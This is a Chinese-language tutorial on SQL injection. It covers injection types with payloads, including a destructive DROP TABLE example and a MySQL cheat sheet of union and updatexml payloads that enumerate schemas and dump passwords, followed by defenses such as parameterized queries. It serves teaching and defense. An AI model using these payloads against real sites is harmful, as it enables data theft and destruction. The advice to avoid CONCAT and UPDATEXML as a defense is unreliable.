1. 什么是SQL注入?
SQL注入是一种安全漏洞,攻击者通过在输入字段中插入恶意SQL代码,从而操纵数据库查询,获取敏感信息或执行恶意操作。这种攻击通常发生在Web应用程序中,当用户输入被直接拼接到SQL查询语句中,而没有经过适当的验证和处理时,就容易发生SQL注入。
2. SQL注入的常见类型
根据攻击方式的不同,SQL注入可以分为以下几种类型:
1. **基础型SQL注入**
- 直接将恶意SQL代码嵌入用户输入中,影响查询逻辑。
- **示例**:
```sql
输入用户名:admin' OR '1'='1
输入密码:anything
```
执行的SQL查询:
```sql
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything';
```
结果:由于`OR '1'='1'`始终为`true`,可以绕过验证。
2. **UNION查询注入**
- 通过`UNION`将攻击者构造的查询结果与合法查询结果合并,获取敏感数据。
- **示例**:
```sql
输入:
' UNION SELECT null, username, password FROM users --
```
执行的SQL查询:
```sql
SELECT id, name FROM products WHERE id = '' UNION SELECT null, username, password FROM users --';
```
结果:将`users`表的`username`和`password`数据作为结果返回。
3. **错误型SQL注入**
- 通过故意触发数据库错误,利用错误信息推测表名、列名或数据。
- **示例**:
```sql
输入:' AND 1=CONVERT(int, (SELECT @@version)) --
```
执行的SQL查询:
```sql
SELECT * FROM users WHERE username = '' AND 1=CONVERT(int, (SELECT @@version)) --';
```
结果:错误信息可能暴露数据库版本或其他信息。
4. **盲注**
- 无法直接获取查询结果,攻击者通过判断返回页面的响应(如布尔值或时间延迟)来逐步推测数据。
- **布尔型盲注示例**:
```sql
输入
' AND (SELECT 1 WHERE SUBSTRING((SELECT database()), 1, 1)='t') --
```
执行的SQL查询:
```sql
SELECT * FROM users WHERE username = '' AND (SELECT 1 WHERE SUBSTRING((SELECT database()), 1, 1)='t') --';
```
结果:根据返回结果判断数据库名首字母是否为`t`。
- **时间盲注示例**:
```sql
输入:
' AND IF(1=1, SLEEP(5), 0) --
```
执行的SQL查询:
```sql
SELECT * FROM users WHERE username = '' AND IF(1=1, SLEEP(5), 0) --';
```
结果:如果条件成立,服务器会延迟5秒响应,从而泄露信息。
5. **堆叠查询注入**
- 允许多条SQL语句同时执行。
- **示例**:
```sql
输入:
'; DROP TABLE users; --
```
执行的SQL查询:
```sql
SELECT * FROM users WHERE username = ''; DROP TABLE users; --';
```
结果:`users`表被删除。
#### 3. MySQL手工注入
MySQL手工注入通常包括联合注入、报错注入等多种方式。
1. **联合注入**
- **爆库**:
```sql
?id=1' order by 4--+
?id=0' union select 1,2,3,database()--+
```
- **爆表**:
```sql
?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+
```
- **爆字段**:
```sql
?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+
```
- **爆数据**:
```sql
?id=0' union select 1,2,3,group_concat(password) from users --+
```
`group_concat`可替换为`concat_ws(',',id,users,password )`。
2. **报错注入**
- **查询数据库版本**:
```sql
?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +
```
- **查询表名**:
```sql
?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +
```
- **查询字段名**:
```sql
?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +
```
- **查询数据**:
```sql
?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +
```
`concat`也可以放在外面。
#### 4. SQL注入的防御
1. **参数化查询(Prepared Statements)**
- 使用参数化查询可以有效防止SQL注入,因为参数化查询会将用户输入作为参数传递,而不是直接拼接到SQL语句中。
- **示例(MyBatis中使用占位符#)**:
```xml
<select id="getUserInfo" resultMap="UserMap">
SELECT * FROM t_user WHERE username = #{username}
</select>
```
这里使用了`#{username}`占位符,而不是`${username}`,从而可以防止SQL注入。
2. **输入验证**
- 对用户输入进行严格的验证,确保输入符合预期的格式和类型。
- **示例**:
- 检查用户输入是否为合法的数字或字符串。
- 使用正则表达式过滤非法字符。
3. **最小权限原则**
- 数据库用户应具有完成任务所需的最小权限,避免赋予不必要的权限,以减少潜在的安全风险。
4. **使用安全的函数**
- 避免使用容易引发SQL注入的函数,如`CONCAT`、`UPDATEXML`等。
请注意,SQL注入是一种严重的安全漏洞,可能导致数据泄露、系统受损等严重后果。因此,在进行任何安全测试或渗透测试时,请确保获得合法授权,并遵守相关法律法规。